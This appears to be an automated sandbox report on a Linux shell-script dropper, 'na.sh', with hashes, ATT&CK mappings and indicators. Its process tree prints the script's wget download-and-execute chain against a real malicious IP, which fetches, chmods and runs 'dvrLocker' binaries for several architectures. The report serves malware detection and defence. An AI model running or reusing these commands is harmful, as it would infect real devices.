e9237f2e230a2df58f151a4ba3086620c516c494d1ec89641be907150d5a619c

Analysis

max time kernel
149s
max time network
122s
platform
debian-9_armhf
resource
debian9-armhf-20240729-en
resource tags

arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
15/10/2024, 12:45

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General

Target
na.sh
Size 377B
Sample241015-py23javdpg
SHA256 e9237f2e230a2df58f151a4ba3086620c516c494d1ec89641be907150d5a619c
MD5 7ed1f467ebc618e6e05fddd528231b5d
SHA1 5c37c4331e1e2da6ddd00f6a4bc80388822bd6f0
SHA512 22a1484ddeb7ef5f0b497b5a1fdeb2b6f6bf59842953d3382f4caa484609bb1ffbc11076c1a3a6973d447a4575af42becfd3fd744df6488791d31c89129ff092
MD5 SHA1 SHA512

Score

7^/10

credential_access defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 6 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
686	chmod
694	chmod
700	chmod
716	chmod
720	chmod
674	chmod

Deletes itself 1 IoCs

pid	Process
695	dvrLocker

Executes dropped EXE 6 IoCs

ioc	pid	Process
/dvrLocker	676	dvrLocker
/dvrLocker	688	dvrLocker
/dvrLocker	695	dvrLocker
/dvrLocker	706	dvrLocker
/dvrLocker	717	dvrLocker
/dvrLocker	721	dvrLocker

Unexpected DNS network traffic destination 1 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	81.169.136.222

Enumerates running processes
Discovers information about currently running processes on the system

Reads process memory 1 TTPs 4 IoCs

Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

credential_access

Proc Filesystem

T1003.007

description	ioc	Process
File opened for reading	/proc/324/maps	dvrLocker
File opened for reading	/proc/327/maps	dvrLocker
File opened for reading	/proc/609/maps	dvrLocker
File opened for reading	/proc/610/maps	dvrLocker

Changes its process name 1 IoCs

description	pid	Process
Changes the process name, possibly in an attempt to hide itself	695	dvrLocker

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/983/cmdline	dvrLocker
File opened for reading	/proc/1017/cmdline	dvrLocker
File opened for reading	/proc/43/cmdline	dvrLocker
File opened for reading	/proc/655/cmdline	dvrLocker
File opened for reading	/proc/951/cmdline	dvrLocker
File opened for reading	/proc/927/cmdline	dvrLocker
File opened for reading	/proc/1034/cmdline	dvrLocker
File opened for reading	/proc/327/cmdline	dvrLocker
File opened for reading	/proc/705/cmdline	dvrLocker
File opened for reading	/proc/856/cmdline	dvrLocker
File opened for reading	/proc/742/cmdline	dvrLocker
File opened for reading	/proc/873/cmdline	dvrLocker
File opened for reading	/proc/954/status	dvrLocker
File opened for reading	/proc/826/cmdline	dvrLocker
File opened for reading	/proc/895/cmdline	dvrLocker
File opened for reading	/proc/1027/cmdline	dvrLocker
File opened for reading	/proc/1058/cmdline	dvrLocker
File opened for reading	/proc/2/cmdline	dvrLocker
File opened for reading	/proc/298/cmdline	dvrLocker
File opened for reading	/proc/813/cmdline	dvrLocker
File opened for reading	/proc/866/cmdline	dvrLocker
File opened for reading	/proc/892/status	dvrLocker
File opened for reading	/proc/922/status	dvrLocker
File opened for reading	/proc/949/cmdline	dvrLocker
File opened for reading	/proc/685/cmdline	dvrLocker
File opened for reading	/proc/761/cmdline	dvrLocker
File opened for reading	/proc/860/cmdline	dvrLocker
File opened for reading	/proc/997/cmdline	dvrLocker
File opened for reading	/proc/1019/cmdline	dvrLocker
File opened for reading	/proc/706/cmdline	dvrLocker
File opened for reading	/proc/728/cmdline	dvrLocker
File opened for reading	/proc/969/cmdline	dvrLocker
File opened for reading	/proc/986/cmdline	dvrLocker
File opened for reading	/proc/1021/cmdline	dvrLocker
File opened for reading	/proc/1032/cmdline	dvrLocker
File opened for reading	/proc/1035/cmdline	dvrLocker
File opened for reading	/proc/1057/cmdline	dvrLocker
File opened for reading	/proc/781/status	dvrLocker
File opened for reading	/proc/788/cmdline	dvrLocker
File opened for reading	/proc/817/cmdline	dvrLocker
File opened for reading	/proc/291/cmdline	dvrLocker
File opened for reading	/proc/786/cmdline	dvrLocker
File opened for reading	/proc/870/cmdline	dvrLocker
File opened for reading	/proc/871/cmdline	dvrLocker
File opened for reading	/proc/954/cmdline	dvrLocker
File opened for reading	/proc/20/cmdline	dvrLocker
File opened for reading	/proc/81/cmdline	dvrLocker
File opened for reading	/proc/114/cmdline	dvrLocker
File opened for reading	/proc/907/cmdline	dvrLocker
File opened for reading	/proc/958/cmdline	dvrLocker
File opened for reading	/proc/736/cmdline	dvrLocker
File opened for reading	/proc/808/cmdline	dvrLocker
File opened for reading	/proc/838/cmdline	dvrLocker
File opened for reading	/proc/878/cmdline	dvrLocker
File opened for reading	/proc/917/cmdline	dvrLocker
File opened for reading	/proc/925/cmdline	dvrLocker
File opened for reading	/proc/1038/cmdline	dvrLocker
File opened for reading	/proc/292/cmdline	dvrLocker
File opened for reading	/proc/825/cmdline	dvrLocker
File opened for reading	/proc/874/cmdline	dvrLocker
File opened for reading	/proc/901/cmdline	dvrLocker
File opened for reading	/proc/996/cmdline	dvrLocker
File opened for reading	/proc/744/cmdline	dvrLocker
File opened for reading	/proc/775/cmdline	dvrLocker

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
679	wget

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/0	na.sh

/tmp/na.sh
/tmp/na.sh
1⤵
- Writes file to tmp directory
PID:655
- /bin/rm
  rm -rf dvrLocker
  2⤵
  PID:657
- /usr/bin/wget
  wget http://185.157.247.125/c/empsl -O -
  2⤵
  PID:659
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:674
- /dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:676
- /usr/bin/wget
  wget http://185.157.247.125/c/emips -O -
  2⤵
  - System Network Configuration Discovery
  PID:679
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:686
- /dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:688
- /usr/bin/wget
  wget http://185.157.247.125/c/earm -O -
  2⤵
  PID:691
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:694
- /dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Deletes itself
  - Executes dropped EXE
  - Reads process memory
  - Changes its process name
  - Reads runtime system information
  PID:695
- /usr/bin/wget
  wget http://185.157.247.125/c/earm5 -O -
  2⤵
  PID:697
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:700
- /dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:706
- /bin/sh
  /bin/sh ./dvrLocker tplink.new
  2⤵
  PID:706
- /usr/bin/wget
  wget http://185.157.247.125/c/earm7 -O -
  2⤵
  PID:709
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:716
- /dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:717
- /bin/sh
  /bin/sh ./dvrLocker tplink.new
  2⤵
  PID:717
- /usr/bin/wget
  wget http://185.157.247.125/c/ex86 -O -
  2⤵
  PID:719
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:720
- /dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:721
- /bin/sh
  /bin/sh ./dvrLocker tplink.new
  2⤵
  PID:721

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

OS Credential Dumping

T1003

Proc Filesystem

T1003.007

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

dvrLocker

Path /dvrLocker
Size 27KB
SHA256 a033de6c1fc62202ed6c97bd7cf05aba7afb13ca591083eaf39f0b30dc8d7885
MD5 300cd530fb0a7f7cf6db875f68c0483e
SHA1 a4bce294dc142fb1354e917bed4d58c98f381850
SHA512 656055bbcc49b7edeb1102887cfab16b4d425f8964433b0f08fd40e9ec63b7398661ecd73951031731f7c98ea8af8773b0e3d486c09f0eae977f4ab0862c66a1
SSDEEP 384:eTZJRhwZkAn9ZS/RvnnusanVklMQgycc6W8DWITvTctvJlztBAM3rLIObWvZdFx+:eAZ3y/RPnNqasyccOi2IhJJAM3fcGd
MD5 SHA1 SHA512 SSDEEP

Submit Download

dvrLocker

Path /dvrLocker
Size 41KB
SHA256 8c825ecd4fff08b44d8334e022dc0d6eedbe9a1b61469e523025d7968be2e84d
MD5 3cfc76868e26201ac03e0583b7c8aaba
SHA1 03436d9d090e1f944fecf60adc1e45f90df20c26
SHA512 84add49907a7c8818abc31118e16e8becf3bb41bcf814139fe0c99617b9ff46dc228be8a319e3fd80f0a672bc056cb30bb75ff0a4ed03418cd06cc95ef5070b2
SSDEEP 768:cuyGpN8ltsqPr4PP3eH3ueyQ4VDYRHNXzu4C1Xi55a3+uC5R:cuL8jslu3u3QSYRHNXzuFr3
MD5 SHA1 SHA512 SSDEEP

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dvrLocker

Path /dvrLocker
Size 40KB
SHA256 defb122644753c1493b140e9bb7b6df824197a475f39af66f50ae93190e43270
MD5 c0b34d8a59f793b636b5424b8e96a64a
SHA1 d5eac6c7b3a5953ffcd642de9db2cd1c45463e96
SHA512 57446ac19971a42d6dc72b0ce14e7771efed16b9da6b86102ec4540cdc16103557e48eb957a822543d825cada502700d8f225d4b47d93c5e43e7fd8c55ba25d4
SSDEEP 768:lrgD3cBAGoqIdh2bqjKL3iAH5LNP5YTSPPrk2xABzQ4AgaLZub1HpqTc:eov1hTIe7AB04+cxpqY
MD5 SHA1 SHA512 SSDEEP

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads